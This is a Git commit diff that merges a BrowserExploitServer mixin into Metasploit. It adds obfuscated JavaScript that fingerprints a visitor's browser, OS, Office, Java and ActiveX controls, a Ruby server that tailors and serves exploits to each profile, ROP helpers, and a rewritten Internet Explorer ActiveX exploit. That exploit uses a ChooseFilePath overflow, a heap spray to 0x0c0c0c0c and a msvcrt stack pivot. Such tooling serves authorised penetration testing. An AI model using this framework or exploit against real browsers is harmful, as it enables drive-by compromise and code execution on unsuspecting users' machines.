Land #2613, @wchen-r7's BrowserExploitServer mixin

bug/bundler_fix
jvazquez-r7 2013-11-12 17:33:12 -06:00
commit ef6d9db48f
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
17 changed files with 1159 additions and 139 deletions

View File

@ -1,9 +1,47 @@
window.addons_detect = { };
window.ie_addons_detect = { };
/**
* Returns true if this ActiveX is available, otherwise false.
* Grabbed this directly from browser_autopwn.rb
**/
window.ie_addons_detect.hasActiveX = function (axo_name, method) {
var axobj = null;
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
axobj = document.createElement("object");
axobj.setAttribute("classid", "clsid:" + axo_name);
axobj.setAttribute("id", axo_name);
axobj.setAttribute("style", "visibility: hidden");
axobj.setAttribute("width", "0px");
axobj.setAttribute("height", "0px");
document.body.appendChild(axobj);
if (typeof(axobj[method]) == 'undefined') {
var attributes = 'id="' + axo_name + '"';
attributes += ' classid="clsid:' + axo_name + '"';
attributes += ' style="visibility: hidden"';
attributes += ' width="0px" height="0px"';
document.body.innerHTML += "<object " + attributes + "></object>";
axobj = document.getElementById(axo_name);
}
} else {
try {
axobj = new ActiveXObject(axo_name);
} catch(e) {
// If we can't build it with an object tag and we can't build it
// with ActiveXObject, it can't be built.
return false;
};
}
if (typeof(axobj[method]) != 'undefined') {
return true;
}
return false;
};
/**
* Returns the version of Microsoft Office. If not found, returns null.
**/
window.addons_detect.getMsOfficeVersion = function () {
window.ie_addons_detect.getMsOfficeVersion = function () {
var version;
var types = new Array();
for (var i=1; i <= 5; i++) {

View File

@ -0,0 +1,64 @@
window.misc_addons_detect = { };
/**
* Returns the Java version
**/
window.misc_addons_detect.getJavaVersion = function () {
var foundVersion = null;
//
// This finds the Java version from Java WebStart's ActiveX control
// This is specific to Windows
//
for (var i1=0; i1 < 10; i1++) {
for (var i2=0; i2 < 10; i2++) {
for (var i3=0; i3 < 10; i3++) {
for (var i4=0; i4 < 10; i4++) {
var version = String(i1) + "." + String(i2) + "." + String(i3) + "." + String(i4);
var progId = "JavaWebStart.isInstalled." + version;
try {
new ActiveXObject(progId);
return version;
}
catch (e) {
continue;
}
}}}}
//
// This finds the Java version from window.navigator.mimeTypes
// This seems to work pretty well for most browsers except for IE
//
if (foundVersion == null) {
var mimes = window.navigator.mimeTypes;
for (var i=0; i<mimes.length; i++) {
var m = /java.+;version=(.+)/.exec(mimes[i].type);
if (m) {
var version = parseFloat(m[1]);
if (version > foundVersion) {
foundVersion = version;
}
}
}
}
//
// This finds the Java version from navigator plugins
// This is necessary for Windows + Firefox setup, but the check isn't as good as the mime one.
// So we do this last.
//
if (foundVersion == null) {
var foundJavaString = "";
var pluginsCount = navigator.plugins.length;
for (i=0; i < pluginsCount; i++) {
var pluginName = navigator.plugins[i].name;
var pluginVersion = navigator.plugins[i].version;
if (/Java/.test(pluginName) && pluginVersion != undefined) {
foundVersion = navigator.plugins[i].version;
break;
}
}
}
return foundVersion;
}

View File

@ -867,6 +867,12 @@ window.os_detect.getVersion = function(){
os_flavor = "7";
os_sp = "SP1";
break;
case "10016720":
// IE 10.0.9200.16721 / Windows 7 SP1
ua_version = "10.0";
os_flavor = "7";
os_sp = "SP1";
break;
case "1000":
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
ua_version = "10.0";

View File

@ -1,25 +1,16 @@
function ajax_download(oArg) {
var method = oArg.method;
var path = oArg.path;
var data = oArg.data;
if (!oArg.method) { oArg.method = "GET"; }
if (!oArg.path) { throw "Missing parameter 'path'"; }
if (!oArg.data) { oArg.data = null; }
if (method == undefined) { method = "GET"; }
if (method == path) { throw "Missing parameter 'path'"; }
if (data == undefined) { data = null; }
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
}
else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var xmlHttp = new XMLHttpRequest();
if (xmlHttp.overrideMimeType) {
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
}
xmlHttp.open(method, path, false);
xmlHttp.send(data);
xmlHttp.open(oArg.method, oArg.path, false);
xmlHttp.send(oArg.data);
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
return xmlHttp.responseText;
}

View File

@ -0,0 +1,10 @@
function postInfo(path, data) {
var xmlHttp = new XMLHttpRequest();
if (xmlHttp.overrideMimeType) {
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
}
xmlHttp.open('POST', path, false);
xmlHttp.send(data);
}

View File

@ -0,0 +1,15 @@
if (!window.XMLHTTPRequest) {
(function() {
var idx, activeObjs = ["Microsoft.XMLHTTP", "Msxml2.XMLHTTP", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0"];
for (idx = 0; idx < activeObjs.length; idx++) {
try {
new ActiveXObject(activeObjs[idx]);
window.XMLHttpRequest = function() {
return new ActiveXObject(activeObjs[idx]);
};
break;
}
catch (e) {}
}
})();
}

View File

@ -681,14 +681,6 @@ protected
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
], Exploit::Remote::HttpServer::HTML)
# Cache Javascript
@cache_base64 = nil
@cache_ajax_download = nil
@cache_mstime_malloc = nil
@cache_property_spray = nil
@cache_heap_spray = nil
@cache_os_detect = nil
end
#
@ -747,6 +739,14 @@ protected
end
#
# Transfers data using a POST request
#
def js_ajax_post
@cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post
end
#
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
# suitable for a no-spray technique. There should be an allocation that contains an array of
@ -816,6 +816,14 @@ protected
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
end
def js_ie_addons_detect
@cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons
end
def js_misc_addons_detect
@cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons
end
# Transmits a html response to the supplied client
#
# HTML evasions are implemented here.

View File

@ -97,3 +97,5 @@ require 'msf/core/exploit/winrm'
# WebApp
require 'msf/core/exploit/web'
require 'msf/core/exploit/remote/browser_exploit_server'

View File

@ -0,0 +1,503 @@
# -*- coding: binary -*-
require 'erb'
require 'rex/exploitation/js'
###
#
# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
#
###
module Msf
module Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
PROXY_REQUEST_HEADER_SET = Set.new(
%w{
CLIENT_IP
FORWARDED
FORWARDED_FOR
FORWARDED_FOR_IP
HTTP_CLIENT_IP
HTTP_FORWARDED
HTTP_FORWARDED_FOR
HTTP_FORWARDED_FOR_IP
HTTP_PROXY_CONNECTION
HTTP_VIA
HTTP_X_FORWARDED
HTTP_X_FORWARDED_FOR
VIA
X_FORWARDED
X_FORWARDED_FOR
})
# Requirements a browser module can define in either BrowserRequirements or in targets
REQUIREMENT_KEY_SET = {
:source => 'source', # Either 'script' or 'headers'
:ua_name => 'ua_name', # Example: MSIE
:ua_ver => 'ua_ver', # Example: 8.0, 9.0
:os_name => 'os_name', # Example: Microsoft Windows
:os_flavor => 'os_flavor', # Example: XP, 7
:language => 'language', # Example: en-us
:arch => 'arch', # Example: x86
:proxy => 'proxy', # 'true' or 'false'
:office => 'office', # Example: "2007", "2010"
:java => 'java', # Example: 1.6, 1.6.0.0
:clsid => 'clsid', # ActiveX clsid. Also requires the :method key
:method => 'method' # ActiveX method. Also requires the :clsid key
}
def initialize(info={})
super
# The mixin keeps 'target' so module doesn't lose it.
@target = target
# See get_profile's documentation to understand what @target_profiles stores
@target_profiles = {}
# Requirements are conditions that the browser must have in order to be exploited.
@requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})
@info_receiver_page = rand_text_alpha(5)
@exploit_receiver_page = rand_text_alpha(6)
@noscript_receiver_page = rand_text_alpha(7)
register_options(
[
OptBool.new('Retries', [false, "Allow the browser to retry the module", true])
], Exploit::Remote::BrowserExploitServer)
end
#
# Syncs a block of code
#
# @param block [Proc] Block of code to sync
#
def sync(&block)
(@mutex ||= Mutex.new).synchronize(&block)
end
#
# Returns the resource (URI) to the module to allow access to on_request_exploit
#
# @return [String] URI to the exploit page
#
def get_module_resource
"#{get_resource.chomp("/")}/#{@exploit_receiver_page}"
end
#
# Returns the current target
#
def get_target
@target
end
#
# Returns a hash of recognizable requirements
#
# @param reqs [Hash] A hash that contains data for the requirements
# @return [Hash] A hash of requirements
#
def extract_requirements(reqs)
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.has_key?(k.to_sym)}
# Make sure keys are always symbols
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end
#
# Sets the target automatically based on what requirements are met.
# If there's a possible matching target, it will also merge the requirements.
# You can use the get_target() method to retrieve the most current target.
#
# @param profile [Hash] The profile to check
#
def try_set_target(profile)
match_counts = []
target_requirements = {}
targets.each do |t|
target_requirements = extract_requirements(t.opts)
if target_requirements.blank?
match_counts << 0
else
match_counts << target_requirements.select { |k,v|
if v.class == Regexp
profile[k] =~ v
else
profile[k] == v
end
}.length
end
end
if match_counts.max.to_i > 0
@target = targets[match_counts.index(match_counts.max)]
target_requirements = extract_requirements(@target.opts)
unless target_requirements.blank?
@requirements = @requirements.merge(target_requirements)
end
end
end
#
# Returns an array of items that do not meet the requirements
#
# @param profile [Hash] The profile to check
# @return [Array] An array of requirements not met
#
def get_bad_requirements(profile)
bad_reqs = []
# At this point the check is already done.
# If :activex is true, that means the clsid + method had a match,
# if not, then false.
if @requirements[:clsid] and @requirements[:method]
@requirements[:activex] = 'true' # Script passes boolean as string
end
@requirements.each do |k, v|
# Special keys to ignore because the script registers this as [:activex] = true or false
next if k == :clsid or k == :method
if v.class == Regexp
bad_reqs << k if profile[k.to_sym] !~ v
else
bad_reqs << k if profile[k.to_sym] != v
end
end
bad_reqs
end
#
# Returns the target profile based on the tag. Each profile has the following structure:
# 'cookie' =>
# {
# :os_name => 'Windows',
# :os_flavor => 'something'
# ...... etc ......
# }
# A profile should at least have info about the following:
# :source : The data source. Either from 'script', or 'headers'. The 'script' source
# should be more accurate in some scenarios like browser compatibility mode
# :ua_name : The name of the browser
# :ua_ver : The version of the browser
# :os_name : The name of the OS
# :os_flavor : The flavor of the OS (example: XP)
# :language : The system's language
# :arch : The system's arch
# :proxy : Indicates whether proxy is used
#
# For more info about what the actual value might be for each key, see HttpServer.
#
# If the source is 'script', the profile might have even more information about plugins:
# 'office' : The version of Microsoft Office (IE only)
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
# 'java' : The Java version
#
# @param tag [String] Either a cookie or IP + User-Agent
# @return [Hash] The profile found. If not found, returns nil
#
def get_profile(tag)
sync do
return @target_profiles[tag]
end
end
#
# Updates information for a specific profile
#
# @param target_profile [Hash] The profile to update
# @param key [Symbol] The symbol to use for the hash
# @param value [String] The value to assign
#
def update_profile(target_profile, key, value)
sync do
target_profile[key] = value
end
end
#
# Initializes a profile
#
# @param tag [String] A unique string as a way to ID the profile
#
def init_profile(tag)
sync do
@target_profiles[tag] = {}
end
end
#
# Retrieves a tag.
# First it obtains the tag from the browser's "Cookie" header.
# If the header is empty (possible if the browser has cookies disabled),
# then it will return a tag based on IP + the user-agent.
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def retrieve_tag(request)
tag = request.headers['Cookie'].to_s
if tag.blank?
# Browser probably doesn't allow cookies, plan B :-/
ip = cli.peerhost
os = request.headers['User-Agent']
tag = Rex::Text.md5("#{ip}#{os}")
end
tag
end
#
# Registers target information to @target_profiles
#
# @param source [Symbol] Either :script, or :headers
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def process_browser_info(source, cli, request)
tag = retrieve_tag(request)
# Browser doesn't allow cookies. Can't track that, use a different way to track.
init_profile(tag) if request.headers['Cookie'].blank?
target_info = get_profile(tag)
# Gathering target info from the detection stage
case source
when :script
# Gathers target data from a POST request
update_profile(target_info, :source, 'script')
raw = Rex::Text.uri_decode(Rex::Text.decode_base64(request.body))
raw.split('&').each do |item|
k, v = item.scan(/(\w+)=(.*)/).flatten
update_profile(target_info, k.to_sym, v)
end
when :headers
# Gathers target data from headers
# This may be less accurate, and most likely less info.
fp = fingerprint_user_agent(request.headers['User-Agent'])
# Module has all the info it needs, ua_string is kind of pointless.
# Kill this to save space.
fp.delete(:ua_string)
update_profile(target_info, :source, 'headers')
fp.each do |k, v|
update_profile(target_info, k.to_sym, v)
end
end
# Other detections
update_profile(target_info, :proxy, has_proxy?(request))
update_profile(target_info, :language, request.headers['Accept-Language'] || '')
report_client({
:host => cli.peerhost,
:ua_string => request.headers['User-Agent'],
:ua_name => target_info[:ua_name],
:ua_ver => target_info[:ua_ver]
})
end
#
# Checks if the target is running a proxy
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Boolean] True if found, otherwise false
#
def has_proxy?(request)
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
!proxy_header_set.empty?
end
#
# Returns the code for client-side detection
#
# @param user_agent [String] The user-agent of the browser
# @return [String] Returns the HTML for detection
#
def get_detection_html(user_agent)
ua_info = fingerprint_user_agent(user_agent)
os = ua_info[:os_name]
client = ua_info[:ua_name]
code = ERB.new(%Q|
<%= js_base64 %>
<%= js_os_detect %>
<%= js_ajax_post %>
<%= js_misc_addons_detect %>
<%= js_ie_addons_detect if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
function objToQuery(obj) {
var q = [];
for (var key in obj) {
q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));
}
return Base64.encode(q.join('&'));
}
window.onload = function() {
var osInfo = window.os_detect.getVersion();
var d = {
"<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name,
"<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor,
"<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name,
"<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version,
"<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch,
"<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion()
};
<% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion();
<%
clsid = @requirements[:clsid]
method = @requirements[:method]
if clsid and method
%>
d['activex'] = window.ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
<% end %>
<% end %>
var query = objToQuery(d);
postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query);
window.location = "<%=get_resource.chomp("/")%>/<%=@exploit_receiver_page%>/";
}
|).result(binding())
js = ::Rex::Exploitation::JSObfu.new code
js.obfuscate
%Q|
<script>
#{js}
</script>
<noscript>
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
<meta http-equiv="refresh" content="1; url=#{get_resource.chomp("/")}/#{@exploit_receiver_page}/">
</noscript>
|
end
#
# Handles exploit stages.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def on_request_uri(cli, request)
case request.uri
when get_resource.chomp("/")
#
# This is the information gathering stage
#
if get_profile(retrieve_tag(request))
send_redirect(cli, "#{get_resource.chomp("/")}/#{@exploit_receiver_page}")
return
end
print_status("Gathering target information.")
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
ua = request.headers['User-Agent']
init_profile(tag)
html = get_detection_html(ua)
send_response(cli, html, {'Set-Cookie' => tag})
when /#{@info_receiver_page}/
#
# The detection code will hit this if Javascript is enabled
#
process_browser_info(source=:script, cli, request)
send_response(cli, '')
when /#{@noscript_receiver_page}/
#
# The detection code will hit this instead of Javascript is disabled
# Should only be triggered by the img src in <noscript>
#
process_browser_info(source=:headers, cli, request)
send_not_found(cli)
when /#{@exploit_receiver_page}/
#
# This sends the actual exploit. A module should define its own
# on_request_exploit() to get the target information
#
tag = retrieve_tag(request)
profile = get_profile(tag)
if profile[:tried] and datastore['Retries'] == false
print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
send_not_found(cli)
else
update_profile(profile, :tried, true)
try_set_target(profile)
bad_reqs = get_bad_requirements(profile)
if bad_reqs.empty?
method(:on_request_exploit).call(cli, request, profile)
else
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}")
send_not_found(cli)
end
end
else
send_not_found(cli)
end
end
#
# Overriding method. The module should override this.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @param browser_info [Hash] The target profile
#
def on_request_exploit(cli, request, browser_info)
raise NoMethodError, "Module must define its own on_request_exploit method"
end
#
# Converts an ERB-based exploit template into HTML, and sends to client
#
# @param cli [Socket] Socket for the browser
# @param template [String] The ERB template. If you want to pass the binding object,
# then this is handled as an Array, with the first element
# being the HTML, and the second element is the binding object.
# @param headers [Hash] The custom HTTP headers to include in the response
#
def send_exploit_html(cli, template, headers={})
html = ''
if template.class == Array
html = ERB.new(template[0]).result(template[1])
else
html = ERB.new(template).result
end
send_response(cli, html, headers)
end
#
# Generates a target-specific payload, should be called by the module
#
# @param cli [Socket] Socket for the browser
# @param browser_info [Hash] The target profile
# @return [String] The payload
#
def get_payload(cli, browser_info)
arch = browser_info[:arch]
platform = browser_info[:os_name]
# Fix names for consisntecy so our API can find the right one
# Originally defined in lib/msf/core/constants.rb
platform = platform.gsub(/^Mac OS X$/, 'OSX')
platform = platform.gsub(/^Microsoft Windows$/, 'Windows')
regenerate_payload(cli, platform, arch).encoded
end
end
end

View File

@ -31,5 +31,13 @@ module Exploit::RopDb
return rop_payload
end
def rop_junk
rand_text_alpha(4).unpack("V")[0].to_i
end
def rop_nop
make_nops(4).unpack("V")[0].to_i
end
end
end

View File

@ -39,13 +39,25 @@ class Detect
#
# Provides javascript functions to determine addon information.
# Provides javascript functions to determine IE addon information.
#
# getMsOfficeVersion(): Returns the version for Microsoft Office
#
def self.addons(custom_js = '')
def self.ie_addons(custom_js = '')
js = custom_js
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "addons.js"))
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "ie_addons.js"))
Rex::Exploitation::JSObfu.new(js)
end
#
# Provides javascript functions that work for all browsers to determine addon information
#
# getJavaVersion(): Returns the Java version
#
def self.misc_addons(custom_js = '')
js = custom_js
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "misc_addons.js"))
Rex::Exploitation::JSObfu.new(js)
end

View File

@ -11,10 +11,40 @@ module Js
#
class Network
def self.ajax_download
# @param [Hash] opts the options hash
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
# defaults to true.
# @return [String] javascript code to perform a synchronous ajax request to the remote
# and returns the response
def self.ajax_download(opts={})
should_obfuscate = opts.fetch(:obfuscate, true)
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js"))
::Rex::Exploitation::ObfuscateJS.new(js,
if should_obfuscate
js = ::Rex::Exploitation::ObfuscateJS.new(js,
{
'Symbols' => {
'Variables' => %w{ xmlHttp oArg }
}
}).obfuscate
end
xhr_shim(opts) + js
end
# @param [Hash] opts the options hash
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
# defaults to true.
# @return [String] javascript code to perform a synchronous ajax request to the remote with
# the data specified
def self.ajax_post(opts={})
should_obfuscate = opts.fetch(:obfuscate, true)
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_post.js"))
if should_obfuscate
js = ::Rex::Exploitation::ObfuscateJS.new(js,
{
'Symbols' => {
'Variables' => %w{ xmlHttp }
@ -22,6 +52,32 @@ class Network
}).obfuscate
end
xhr_shim(opts) + js
end
# @param [Hash] opts the options hash
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
# @option opts [Boolean] :inject_xhr_shim false causes this method to return ''. defaults to true.
# @return [String] javascript code that adds XMLHttpRequest to the global scope if it
# does not exist (e.g. on IE6, where you have to use the ActiveXObject constructor)
def self.xhr_shim(opts={})
return '' unless opts.fetch(:inject_xhr_shim, true)
should_obfuscate = opts.fetch(:obfuscate, true)
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "xhr_shim.js"))
if should_obfuscate
js = ::Rex::Exploitation::ObfuscateJS.new(js,
{
'Symbols' => {
'Variables' => %w{ activeObjs idx }
}
}
).obfuscate
end
js
end
end
end
end

View File

@ -8,21 +8,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::RopDb
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank,
:classid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
:method => "ChooseFilePath",
})
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
@ -56,37 +42,61 @@ class Metasploit3 < Msf::Exploit::Remote
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
:method => "ChooseFilePath",
:os_name => /win/i
},
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3',
[
'Windows XP with IE 6',
{
'os_flavor' => 'XP',
'ua_name' => 'MSIE',
'ua_ver' => '6.0',
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
],
[ 'IE 7 on Windows XP SP3',
[
'Windows XP with IE 7',
{
'os_flavor' => 'XP',
'ua_name' => 'MSIE',
'ua_ver' => '7.0',
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
],
[ 'IE 8 on Windows XP SP3',
[
'Windows XP with IE 8',
{
'os_flavor' => 'XP',
'ua_name' => 'MSIE',
'ua_ver' => '8.0',
'Rop' => true,
'Offset' => '0x5f6',
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
}
],
[ 'IE 7 on Windows Vista',
[
'Windows Vista with IE 7',
{
'os_flavor' => 'Vista',
'ua_name' => 'MSIE',
'ua_ver' => '7.0',
'Rop' => false,
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c
}
]
],
'Privileged' => false,
'DisclosureDate' => "Apr 1 2012",
@ -95,41 +105,14 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
], self.class
)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
def ie_heap_spray(p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))
# Land the payload at 0x0c0c0c0c
@ -138,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var offset = nops.substring(0, #{get_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
@ -158,49 +141,35 @@ class Metasploit3 < Msf::Exploit::Remote
return js
end
def load_exploit_html(my_target, cli)
def exploit_template(cli, target_info)
if my_target['Rop']
p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
if get_target['Rop']
p = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp'})
else
p = payload.encoded
p = get_payload(cli, target_info)
end
spray = ie_heap_spray(my_target, p)
spray = ie_heap_spray(p)
target_ret = Rex::Text.to_hex([get_target.ret].pack("V"))
html = %Q|
html_template = %Q|
<html>
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
<script>
#{spray}
<%=spray%>
junk='';
for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}");
pwnd.ChooseFilePath(junk + "<%=target_ret%>");
</script>
</html>
|
return html
return html_template, binding()
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
def on_request_exploit(cli, request, target_info)
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
send_exploit_html(cli, exploit_template(cli, target_info))
end
end

View File

@ -0,0 +1,174 @@
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/remote/browser_exploit_server'
describe Msf::Exploit::Remote::BrowserExploitServer do
subject(:server) do
mod = Msf::Exploit.allocate
mod.extend described_class
mod.send(:initialize, {})
mod
end
let(:service_double) do
service = double("service")
service.stub(:server_name=)
service.stub(:add_resource)
service
end
let(:profile_name) do
"random"
end
let(:expected_os_name) do
"linux"
end
let(:expected_user_agent) do
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
end
let(:expected_profile) do
{
:source=>"script",
:os_name=>"Microsoft Windows",
:os_flavor=>"XP",
:ua_name=>"MSIE",
:ua_ver=>"8.0",
:arch=>"x86",
:office=>"null",
:activex=>"true",
:proxy=>false,
:language=>"en-us",
:tried=>true
}
end
before do
Rex::ServiceManager.stub(:start => service_double)
end
before(:each) do
server.start_service
end
describe ".get_module_resource" do
it "should give me a URI to access the exploit page" do
ivar_exploit_page = server.instance_variable_get(:@exploit_receiver_page)
module_resource = server.get_module_resource
module_resource.should match(ivar_exploit_page)
end
end
describe ".get_bad_requirements" do
it "should not contain any bad requirements" do
server.get_bad_requirements(expected_profile).should eq([])
end
it "should have identify :os_name as a requirement not met" do
fake_profile = {
"rMWwSAwBHLoESpHbEGbsv" => {
:os_name => expected_os_name
}}
server.instance_variable_set(:@requirements, {:os_name => /win/i})
baddies = server.get_bad_requirements(fake_profile)
baddies.should eq([:os_name])
end
end
describe ".init_profile" do
it "should initialize an empety profile for tag 'random'" do
server.init_profile(profile_name)
ivar_target_profile = server.instance_variable_get(:@target_profiles)
ivar_target_profile.should eq({profile_name=>{}})
end
end
describe ".get_profile" do
it "should return nil when a profile isn't found" do
server.init_profile(profile_name)
p = server.get_profile("non_existent_profile")
p.should be_nil
end
it "should return a profile if found" do
server.init_profile(profile_name)
p = server.get_profile(profile_name)
p.should eq({})
end
end
describe ".update_profile" do
it "should update my target profile's :os_name information" do
server.init_profile(profile_name)
profile = server.get_profile(profile_name)
server.update_profile(profile, :os_name, expected_os_name)
profile = server.get_profile(profile_name)
profile[:os_name].should eq(expected_os_name)
end
end
describe ".get_detection_html" do
it "should return the detection code that the client will get" do
html = server.get_detection_html(expected_user_agent)
html.should_not eq('')
end
end
describe ".on_request_exploit" do
it "should raise a NoMethodError if called" do
fake_cli = nil
fake_request = nil
fake_browser_info = nil
lambda {
server.on_request_exploit(fake_cli, fake_request, fake_browser_info)
}.should raise_error
end
end
describe ".get_target" do
it "should return a target" do
#
# Using Object for Msf::Module::Target
#
expected_object = Object
server.instance_variable_set(:@target, expected_object)
server.get_target.should eq(expected_object)
end
end
describe ".try_set_target" do
it "should try to set a target based on requirements" do
#
# This testcase needs to be better somehow, but not sure how to actually create
# a Msf::Module::Target. All we're able to test here is making sure the method
# doesn't raise anything by exercising the code.
#
server.instance_variable_set(:@requirements, {:os_name => /win/i})
server.instance_variable_set(:@target, Object)
server.try_set_target(expected_profile)
server.get_target.should eq(Object)
end
end
describe ".extract_requirements" do
it "should find all the recognizable keys" do
requirements = {:os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0"}
matches = server.extract_requirements(requirements)
matches.should eq(requirements)
end
it "should make sure the keys are always symbols" do
requirements = {'os_flavor'=>"XP", 'ua_name'=>"MSIE"}
matches = server.extract_requirements(requirements)
matches.each do |k,v|
k.class.should eq(Symbol)
end
end
end
end

View File

@ -5,16 +5,23 @@ describe Rex::Exploitation::Js::Detect do
context "Class methods" do
context ".os" do
it "should load the OS Detect javascript" do
it "should load the OS detection in Javascript" do
